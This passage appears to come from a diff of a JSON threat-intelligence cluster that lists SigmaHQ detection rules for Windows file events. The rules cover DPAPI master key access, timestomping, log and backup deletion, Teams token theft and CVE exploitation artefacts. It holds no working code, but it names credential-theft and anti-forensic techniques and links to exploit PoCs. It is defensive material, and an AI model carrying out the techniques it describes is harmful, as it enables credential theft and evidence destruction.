keys.\nWhich can be a sign of credential stealing. Example case would be usage of mimikatz \"dpapi::masterkey\" function\n", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/10/17", + "falsepositive": [ + "Unknown" + ], + "filename": "file_access_win_dpapi_master_key_access.yml", + "level": "medium", + "logsource.category": "file_access", + "logsource.product": "windows", + "refs": [ + "https://web.archive.org/web/20181130065817/http://www.harmj0y.net/blog/redteaming/operational-guidance-for-offensive-user-dpapi-abuse/", + "https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_access/file_access_win_dpapi_master_key_access.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1555.004" + ] + }, + "uuid": "46612ae6-86be-4802-bc07-39b59feb1309", + "value": "Suspicious Access To Windows DPAPI Master Keys" + }, + { + "description": "Detects suspicious processes based on name and location that access the Windows Credential History File.\nWhich can be a sign of credential stealing. Example case would be usage of mimikatz \"dpapi::credhist\" function\n", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/10/17", + "falsepositive": [ + "Unknown" + ], + "filename": "file_access_win_susp_cred_hist_access.yml", + "level": "medium", + "logsource.category": "file_access", + "logsource.product": "windows", + "refs": [ + "https://tools.thehacker.recipes/mimikatz/modules/dpapi/credhist", + "https://www.passcape.com/windows_password_recovery_dpapi_credhist", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_access/file_access_win_susp_cred_hist_access.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1555.004" + ] + }, + "uuid": "7a2a22ea-a203-4cd3-9abf-20eb1c5c6cd2", + "value": "Suspicious Access To Windows Credential History File" + }, + { + "description": "Attackers may change the file creation time of a backdoor to make it look like it was installed with the operating system.\nNote that many processes legitimately change the creation time of a file; it does not necessarily indicate malicious activity.\n", + "meta": { + "author": "frack113, Florian Roth", + "creation_date": "2022/08/12", + "falsepositive": [ + "Changes made to or by the local NTP service" + ], + "filename": "file_change_win_2022_timestomping.yml", + "level": "high", + "logsource.category": "file_change", + "logsource.product": "windows", + "refs": [ + "https://www.inversecos.com/2022/04/defence-evasion-technique-timestomping.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_change/file_change_win_2022_timestomping.yml" + ], + "tags": [ + "attack.t1070.006", + "attack.defense_evasion" + ] + }, + "uuid": "558eebe5-f2ba-4104-b339-36f7902bcc1a", + "value": "File Creation Date Changed to Another Year" + }, + { + "description": "Detects an unexpected file being modified by dns.exe which my indicate activity related to remote code execution or other forms of exploitation as seen in CVE-2020-1350 (SigRed)", + "meta": { + "author": "Tim Rauch", + "creation_date": "2022/09/27", + "falsepositive": [ + "Unknown" + ], + "filename": "file_change_win_unusual_modification_by_dns_exe.yml", + "level": "high", + "logsource.category": "file_change", + "logsource.product": "windows", + "refs": [ + "https://www.elastic.co/guide/en/security/current/unusual-file-modification-by-dns.exe.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_change/file_change_win_unusual_modification_by_dns_exe.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1133" + ] + }, + "uuid": "9f383dc0-fdeb-4d56-acbc-9f9f4f8f20f3", + "value": "Unusual File Modification by dns.exe" + }, + { + "description": "Detect DLL deletions from Spooler Service driver folder", + "meta": { + "author": "Bhabesh Raj", + "creation_date": "2021/07/01", + "falsepositive": [ + "Unknown" + ], + "filename": "file_delete_win_cve_2021_1675_printspooler_del.yml", + "level": "high", + "logsource.category": "file_delete", + "logsource.product": "windows", + "refs": [ + "https://github.com/hhlxf/PrintNightmare", + "https://github.com/cube0x0/CVE-2021-1675", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_cve_2021_1675_printspooler_del.yml" + ], + "tags": [ + "attack.persistence", + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1574", + "cve.2021.1675" + ] + }, + "uuid": "5b2bbc47-dead-4ef7-8908-0cf73fcbecbf", + "value": "Windows Spooler Service Suspicious File Deletion" + }, + { + "description": "Deletion of log files is a known anti-forensic technique", + "meta": { + "author": "frack113", + "creation_date": "2022/01/16", + "falsepositive": [ + "Unknown" + ], + "filename": "file_delete_win_delete_appli_log.yml", + "level": "low", + "logsource.category": "file_delete", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.004/T1070.004.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_delete_appli_log.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.004" + ] + }, + "uuid": "b1decb61-ed83-4339-8e95-53ea51901720", + "value": "Delete Log from Application" + }, + { + "description": "Adversaries may delete or remove built-in operating system data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.", + "meta": { + "author": "frack113", + "creation_date": "2022/01/02", + "falsepositive": [ + "Legitime usage" + ], + "filename": "file_delete_win_delete_backup_file.yml", + "level": "medium", + "logsource.category": "file_delete", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md#atomic-test-6---windows---delete-backup-files", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_delete_backup_file.yml" + ], + "tags": [ + "attack.impact", + "attack.t1490" + ] + }, + "uuid": "06125661-3814-4e03-bfa2-1e4411c60ac3", + "value": "Deletes Backup Files" + }, + { + "description": "Detects the deletion of a prefetch file (AntiForensic)", + "meta": { + "author": "Cedric MAURUGEON", + "creation_date": "2021/09/29", + "falsepositive": [ + "Unknown" + ], + "filename": "file_delete_win_delete_prefetch.yml", + "level": "high", + "logsource.category": "file_delete", + "logsource.product": "windows", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_delete_prefetch.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.004" + ] + }, + "uuid": "0a1f9d29-6465-4776-b091-7f43b26e4c89", + "value": "Prefetch File Deletion" + }, + { + "description": "Detects the deletion of the Exchange PowerShell cmdlet History logs which may indicate an attempt to destroy forensic evidence", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/10/26", + "falsepositive": [ + "Possible FP during log rotation" + ], + "filename": "file_delete_win_exchange_powershell_logs.yml", + "level": "high", + "logsource.category": "file_delete", + "logsource.product": "windows", + "refs": [ + "https://m365internals.com/2022/10/07/hunting-in-on-premises-exchange-server-logs/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_exchange_powershell_logs.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070" + ] + }, + "uuid": "a55349d8-9588-4c5a-8e3b-1925fe2a4ffe", + "value": "Exchange PowerShell Cmdlet History Deleted" + }, + { + "description": "A General detection to trigger for the deletion of files by Sysinternals SDelete. It looks for the common name pattern used to rename files.", + "meta": { + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "creation_date": "2020/05/02", + "falsepositive": [ + "Legitime usage of SDelete" + ], + "filename": "file_delete_win_sysinternals_sdelete_file_deletion.yml", + "level": "medium", + "logsource.category": "file_delete", + "logsource.product": "windows", + "refs": [ + "https://github.com/OTRF/detection-hackathon-apt29/issues/9", + "https://threathunterplaybook.com/evals/apt29/detections/4.B.4_83D62033-105A-4A02-8B75-DAB52D8D51EC.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_sysinternals_sdelete_file_deletion.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.004" + ] + }, + "uuid": "6ddab845-b1b8-49c2-bbf7-1a11967f64bc", + "value": "Sysinternals SDelete File Deletion" + }, + { + "description": "Detects an unexpected file being deleted by dns.exe which my indicate activity related to remote code execution or other forms of exploitation as seen in CVE-2020-1350 (SigRed)", + "meta": { + "author": "Tim Rauch", + "creation_date": "2022/09/27", + "falsepositive": [ + "Unknown" + ], + "filename": "file_delete_win_unusual_deletion_by_dns_exe.yml", + "level": "high", + "logsource.category": "file_delete", + "logsource.product": "windows", + "refs": [ + "https://www.elastic.co/guide/en/security/current/unusual-file-modification-by-dns.exe.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_unusual_deletion_by_dns_exe.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1133" + ] + }, + "uuid": "8f0b1fb1-9bd4-4e74-8cdf-a8de4d2adfd0", + "value": "Unusual File Deletion by dns.exe" + }, + { + "description": "Detects the deletion of WebServer access logs which may indicate an attempt to destroy forensic evidence", + "meta": { + "author": "Tim Rauch", + "creation_date": "2022/09/16", + "falsepositive": [ + "During uninstallation of the IIS service", + "During log rotation" + ], + "filename": "file_delete_win_webserver_access_logs_deleted.yml", + "level": "medium", + "logsource.category": "file_delete", + "logsource.product": "windows", + "refs": [ + "https://www.elastic.co/guide/en/security/current/webserver-access-logs-deleted.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_delete/file_delete_win_webserver_access_logs_deleted.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070" + ] + }, + "uuid": "3eb8c339-a765-48cc-a150-4364c04652bf", + "value": "WebServer Access Logs Deleted" + }, + { + "description": "Detects an access to authentication tokens and accounts of Microsoft Teams desktop application.", + "meta": { + "author": "@SerkinValery", + "creation_date": "2022/09/16", + "falsepositive": [ + "Unknown" + ], + "filename": "file_event_win_access_susp_teams.yml", + "level": "high", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://www.bleepingcomputer.com/news/security/microsoft-teams-stores-auth-tokens-as-cleartext-in-windows-linux-macs/", + "https://www.vectra.ai/blogpost/undermining-microsoft-teams-security-by-mining-tokens", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_access_susp_teams.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1528" + ] + }, + "uuid": "6902955a-01b7-432c-b32a-6f5f81d8f624", + "value": "Suspicious File Event With Teams Objects" + }, + { + "description": "Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored.\nIf these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process\n", + "meta": { + "author": "frack113", + "creation_date": "2021/12/19", + "falsepositive": [ + "Unknown" + ], + "filename": "file_event_win_access_susp_unattend_xml.yml", + "level": "medium", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.001/T1552.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_access_susp_unattend_xml.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1552.001" + ] + }, + "uuid": "1a3d42dd-3763-46b9-8025-b5f17f340dfb", + "value": "Suspicious Unattend.xml File Access" + }, + { + "description": "Detects the use of Advanced IP Scanner. Seems to be a popular tool for ransomware groups.", + "meta": { + "author": "@ROxPinTeddy", + "creation_date": "2020/05/12", + "falsepositive": [ + "Legitimate administrative use" + ], + "filename": "file_event_win_advanced_ip_scanner.yml", + "level": "medium", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://news.sophos.com/en-us/2019/12/09/snatch-ransomware-reboots-pcs-into-safe-mode-to-bypass-protection/", + "https://www.fireeye.com/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html", + "https://labs.f-secure.com/blog/prelude-to-ransomware-systembc", + "https://assets.documentcloud.org/documents/20444693/fbi-pin-egregor-ransomware-bc-01062021.pdf", + "https://thedfirreport.com/2021/01/18/all-that-for-a-coinminer", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_advanced_ip_scanner.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1046" + ] + }, + "uuid": "fed85bf9-e075-4280-9159-fbe8a023d6fa", + "value": "Advanced IP Scanner" + }, + { + "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n", + "meta": { + "author": "frack113", + "creation_date": "2022/02/11", + "falsepositive": [ + "Legitimate use" + ], + "filename": "file_event_win_anydesk_artefact.yml", + "level": "medium", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-2---anydesk-files-detected-test-on-windows", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_anydesk_artefact.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1219" + ] + }, + "uuid": "0b9ad457-2554-44c1-82c2-d56a99c42377", + "value": "Anydesk Temporary Artefact" + }, + { + "description": "Detects anydesk writing binaries files to disk other than \"gcapi.dll\".\nAccording to RedCanary research it's highly abnormal for AnyDesk to write executable files to disk besides gcapi.dll,\nwhich is a legitimate DLL that's part of the Google Chrome web browser used to interact with the Google Cloud API. (See reference section for more details)\n", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/09/28", + "falsepositive": [ + "Unknown" + ], + "filename": "file_event_win_anydesk_writing_susp_binaries.yml", + "level": "high", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://redcanary.com/blog/misbehaving-rats/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_anydesk_writing_susp_binaries.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1219" + ] + }, + "uuid": "2d367498-5112-4ae5-a06a-96e7bc33a211", + "value": "Suspicious Binary Writes Via AnyDesk" + }, + { + "description": "A sigma rule detecting an unidetefied attacker who used phishing emails to target high profile orgs on November 2018. The Actor shares some TTPs with YYTRIUM/APT29 campaign in 2016.", + "meta": { + "author": "@41thexplorer, Microsoft Defender ATP", + "creation_date": "2018/11/20", + "falsepositive": "No established falsepositives", + "filename": "file_event_win_apt_unidentified_nov_18.yml", + "level": "high", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/DrunkBinary/status/1063075530180886529", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_apt_unidentified_nov_18.yml" + ], + "tags": [ + "attack.execution", + "attack.t1218.011" + ] + }, + "uuid": "3a3f81ca-652c-482b-adeb-b1c804727f74", + "value": "Unidentified Attacker November 2018" + }, + { + "description": "Detects default file names outputted by the BloodHound collection tool SharpHound", + "meta": { + "author": "C.J. May", + "creation_date": "2022/08/09", + "falsepositive": [ + "Unknown" + ], + "filename": "file_event_win_bloodhound_collection.yml", + "level": "high", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://academy.hackthebox.com/course/preview/active-directory-bloodhound/bloodhound--data-collection", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_bloodhound_collection.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1087.001", + "attack.t1087.002", + "attack.t1482", + "attack.t1069.001", + "attack.t1069.002", + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "02773bed-83bf-469f-b7ff-e676e7d78bab", + "value": "BloodHound Collection Files" + }, + { + "description": "Detects suspicious file creation patterns found in logs when CrackMapExec is used", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/03/12", + "falsepositive": [ + "Unknown" + ], + "filename": "file_event_win_crackmapexec_patterns.yml", + "level": "high", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://mpgn.gitbook.io/crackmapexec/smb-protocol/obtaining-credentials/dump-lsass", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_crackmapexec_patterns.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001" + ] + }, + "uuid": "9433ff9c-5d3f-4269-99f8-95fc826ea489", + "value": "CrackMapExec File Creation Patterns" + }, + { + "description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims.\nThe Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time.\n", + "meta": { + "author": "frack113", + "creation_date": "2021/12/29", + "falsepositive": [ + "Unknown" + ], + "filename": "file_event_win_creation_new_shim_database.yml", + "level": "medium", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.011/T1546.011.md#atomic-test-2---new-shim-database-files-created-in-the-default-shim-database-directory", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_creation_new_shim_database.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.009" + ] + }, + "uuid": "ee63c85c-6d51-4d12-ad09-04e25877a947", + "value": "New Shim Database Created in the Default Directory" + }, + { + "description": "Adversaries may establish persistence by executing malicious content triggered by user inactivity.\nScreensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension\n", + "meta": { + "author": "frack113", + "creation_date": "2021/12/29", + "falsepositive": [ + "Unknown" + ], + "filename": "file_event_win_creation_scr_binary_file.yml", + "level": "medium", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.002/T1546.002.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_creation_scr_binary_file.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1546.002" + ] + }, + "uuid": "97aa2e88-555c-450d-85a6-229bcd87efb8", + "value": "Suspicious Screensaver Binary File Creation" + }, + { + "description": "Detects the creation of an executable with a system process name in folders other than the system ones (System32, SysWOW64...etc).", + "meta": { + "author": "Sander Wiebing, Tim Shelton, Nasreddine Bencherchali", + "creation_date": "2020/05/26", + "falsepositive": [ + "System processes copied outside their default folders for testing purposes", + "Third party software naming their software with the same names as the processes mentioned here" + ], + "filename": "file_event_win_creation_system_file.yml", + "level": "high", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_creation_system_file.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036.005" + ] + }, + "uuid": "d5866ddf-ce8f-4aea-b28e-d96485a20d3d", + "value": "Files With System Process Name In Unsuspected Locations" + }, + { + "description": "Adversaries may execute their own malicious payloads by hijacking vulnerable file path references.\nAdversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch.\n", + "meta": { + "author": "frack113", + "creation_date": "2021/12/30", + "falsepositive": [ + "Unknown" + ], + "filename": "file_event_win_creation_unquoted_service_path.yml", + "level": "high", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1574.009/T1574.009.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_creation_unquoted_service_path.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.009" + ] + }, + "uuid": "8c3c76ca-8f8b-4b1d-aaf3-81aebcd367c9", + "value": "Creation Exe for Service with Unquoted Path" + }, + { + "description": "Files with well-known filenames (parts of credential dump software or files produced by them) creation", + "meta": { + "author": "Teymur Kheirkhabarov, oscd.community", + "creation_date": "2019/11/01", + "falsepositive": [ + "Legitimate Administrator using tool for password recovery" + ], + "filename": "file_event_win_cred_dump_tools_dropped_files.yml", + "level": "high", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_cred_dump_tools_dropped_files.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001", + "attack.t1003.002", + "attack.t1003.003", + "attack.t1003.004", + "attack.t1003.005" + ] + }, + "uuid": "8fbf3271-1ef6-4e94-8210-03c2317947f6", + "value": "Cred Dump Tools Dropped Files" + }, + { + "description": "Detects a file ending in jse, vbe, js, vba, vbs written by cscript.exe or wscript.exe", + "meta": { + "author": "Tim Shelton", + "creation_date": "2022/01/10", + "falsepositive": [ + "Unknown" + ], + "filename": "file_event_win_cscript_wscript_dropper.yml", + "level": "high", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "WScript or CScript Dropper (cea72823-df4d-4567-950c-0b579eaf0846)", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_cscript_wscript_dropper.yml" + ], + "tags": "No established tags" + }, + "uuid": "002bdb95-0cf1-46a6-9e08-d38c128a6127", + "value": "WScript or CScript Dropper" + }, + { + "description": "When C# is compiled dynamically, a .cmdline file will be created as a part of the process.\nCertain processes are not typically observed compiling C# code, but can do so without touching disk.\nThis can be used to unpack a payload for execution\n", + "meta": { + "author": "frack113", + "creation_date": "2022/01/09", + "falsepositive": [ + "Unknown" + ], + "filename": "file_event_win_csharp_compile_artefact.yml", + "level": "low", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1027.004/T1027.004.md#atomic-test-2---dynamic-c-compile", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_csharp_compile_artefact.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027.004" + ] + }, + "uuid": "e4a74e34-ecde-4aab-b2fb-9112dd01aed0", + "value": "Dynamic C Sharp Compile Artefact" + }, + { + "description": "Detects the default filename used in PoC code against print spooler vulnerability CVE-2021-1675", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/06/29", + "falsepositive": [ + "Unknown" + ], + "filename": "file_event_win_cve_2021_1675_printspooler.yml", + "level": "critical", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://github.com/hhlxf/PrintNightmare", + "https://github.com/afwu/PrintNightmare", + "https://github.com/cube0x0/CVE-2021-1675", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_cve_2021_1675_printspooler.yml" + ], + "tags": [ + "attack.execution", + "attack.privilege_escalation", + "attack.resource_development", + "attack.t1587", + "cve.2021.1675" + ] + }, + "uuid": "2131cfb3-8c12-45e8-8fa0-31f5924e9f07", + "value": "CVE-2021-1675 Print Spooler Exploitation Filename Pattern" + }, + { + "description": "Detects possible successful exploitation for vulnerability described in CVE-2021-26858 by looking for \ncreation of non-standard files on disk by Exchange Server’s Unified Messaging service\nwhich could indicate dropping web shells or other malicious content\n", + "meta": { + "author": "Bhabesh Raj", + "creation_date": "2021/03/03", + "falsepositive": [ + "Unknown" + ], + "filename": "file_event_win_cve_2021_26858_msexchange.yml", + "level": "high", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_cve_2021_26858_msexchange.yml" + ], + "tags": [ + "attack.t1203", + "attack.execution", + "cve.2021.26858" + ] + }, + "uuid": "b06335b3-55ac-4b41-937e-16b7f5d57dfd", + "value": "CVE-2021-26858 Exchange Exploitation" + }, + { + "description": "Detects patterns as noticed in exploitation of Windows CVE-2021-31979 CVE-2021-33771 vulnerability and DevilsTongue malware by threat group Sourgum", + "meta": { + "author": "Sittikorn S", + "creation_date": "2021/07/16", + "falsepositive": [ + "Unlikely" + ], + "filename": "file_event_win_cve_2021_31979_cve_2021_33771_exploits.yml", + "level": "critical", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://www.microsoft.com/security/blog/2021/07/15/protecting-customers-from-a-private-sector-offensive-actor-using-0-day-exploits-and-devilstongue-malware/", + "https://citizenlab.ca/2021/07/hooking-candiru-another-mercenary-spyware-vendor-comes-into-focus/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_cve_2021_31979_cve_2021_33771_exploits.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1566", + "attack.t1203", + "cve.2021.33771", + "cve.2021.31979" + ] + }, + "uuid": "ad7085ac-92e4-4b76-8ce2-276d2c0e68ef", + "value": "CVE-2021-31979 CVE-2021-33771 Exploits by Sourgum" + }, + { + "description": "Detects signs of the exploitation of LPE CVE-2021-41379 that include an msiexec process that creates an elevation_service.exe file", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/11/22", + "falsepositive": [ + "Unknown", + "Possibly some Microsoft Edge upgrades" + ], + "filename": "file_event_win_cve_2021_41379_msi_lpe.yml", + "level": "critical", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://github.com/klinix5/InstallerFileTakeOver", + "https://www.zerodayinitiative.com/advisories/ZDI-21-1308/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_cve_2021_41379_msi_lpe.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1068" + ] + }, + "uuid": "3be82d5d-09fe-4d6a-a275-0d40d234d324", + "value": "InstallerFileTakeOver LPE CVE-2021-41379 File Create Event" + }, + { + "description": "Detects the creation of \"msiexec.exe\" in the \"bin\" directory of the ManageEngine SupportCenter Plus (Related to CVE-2021-44077) and public POC available (See references section)", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/06/06", + "falsepositive": [ + "Unlikely" + ], + "filename": "file_event_win_cve_2021_44077_poc_default_files.yml", + "level": "high", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://thedfirreport.com/2022/06/06/will-the-real-msiexec-please-stand-up-exploit-leads-to-data-exfiltration/", + "https://github.com/horizon3ai/CVE-2021-44077/blob/b7a48e25824e8ead95e028475c7fd0e107e6e6bf/exploit.py", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_cve_2021_44077_poc_default_files.yml" + ], + "tags": [ + "attack.execution", + "cve.2021.44077" + ] + }, + "uuid": "7b501acf-fa98-4272-aa39-194f82edc8a3", + "value": "CVE-2021-44077 POC Default Dropped File" + }, + { + "description": "Detects files created during the local privilege exploitation of CVE-2022-24527 Microsoft Connected Cache", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/04/13", + "falsepositive": [ + "Unknown" + ], + "filename": "file_event_win_cve_2022_24527_lpe.yml", + "level": "high", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://www.rapid7.com/blog/post/2022/04/12/cve-2022-24527-microsoft-connected-cache-local-privilege-escalation-fixed/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_cve_2022_24527_lpe.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1059.001", + "cve.2022.24527" + ] + }, + "uuid": "e0a41412-c69a-446f-8e6e-0e6d7483dad7", + "value": "CVE-2022-24527 Microsoft Connected Cache LPE" + }, + { + "description": "Powerup tool's Write Hijack DLL exploits DLL hijacking for privilege escalation.\nIn it's default mode, it builds a self deleting .bat file which executes malicious command.\nThe detection rule relies on creation of the malicious bat file (debug.bat by default).\n", + "meta": { + "author": "Subhash Popuri (@pbssubhash)", + "creation_date": "2021/08/21", + "falsepositive": [ + "Any powershell script that creates bat files" + ], + "filename": "file_event_win_detect_powerup_dllhijacking.yml", + "level": "high", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://powersploit.readthedocs.io/en/latest/Privesc/Write-HijackDll/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_detect_powerup_dllhijacking.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.defense_evasion", + "attack.t1574.001" + ] + }, + "uuid": "602a1f13-c640-4d73-b053-be9a2fa58b96", + "value": "Powerup Write Hijack DLL" + }, + { + "description": "Detects when an attacker create a similar folder structure to windows system folders such as (Windows, Program Files...)\nbut with a space in order to trick DLL load search order and perform a \"DLL Search Order Hijacking\" attack\n", + "meta": { + "author": "frack113, Nasreddine Bencherchali", + "creation_date": "2022/07/30", + "falsepositive": [ + "Unknown" + ], + "filename": "file_event_win_dll_sideloading_space_path.yml", + "level": "high", + "logsource.category": "file_event", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/cyb3rops/status/1552932770464292864", + "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_dll_sideloading_space_path.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.defense_evasion", + "attack.t1574.002" + ] + }, + "uuid": "b6f91281-20aa-446a-b986-38a92813a18f", + "value": "DLL Search Order Hijackig Via Additional Space in Path" + }, + { + "description": "Detects creation of a file named \"ErrorHandler.cmd\" in the \"C:\\WINDOWS\\Setup\\Scripts\\\" directory which could be used as a method of persistence\nThe content of C:\\WINDOWS\\Setup\\Scripts\\ErrorHandler.cmd is read whenever some tools under C:\\WINDOWS\\System32\\oobe\\ (e.g. Setup.exe) fail to run for any reason.\n", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/08/09", + 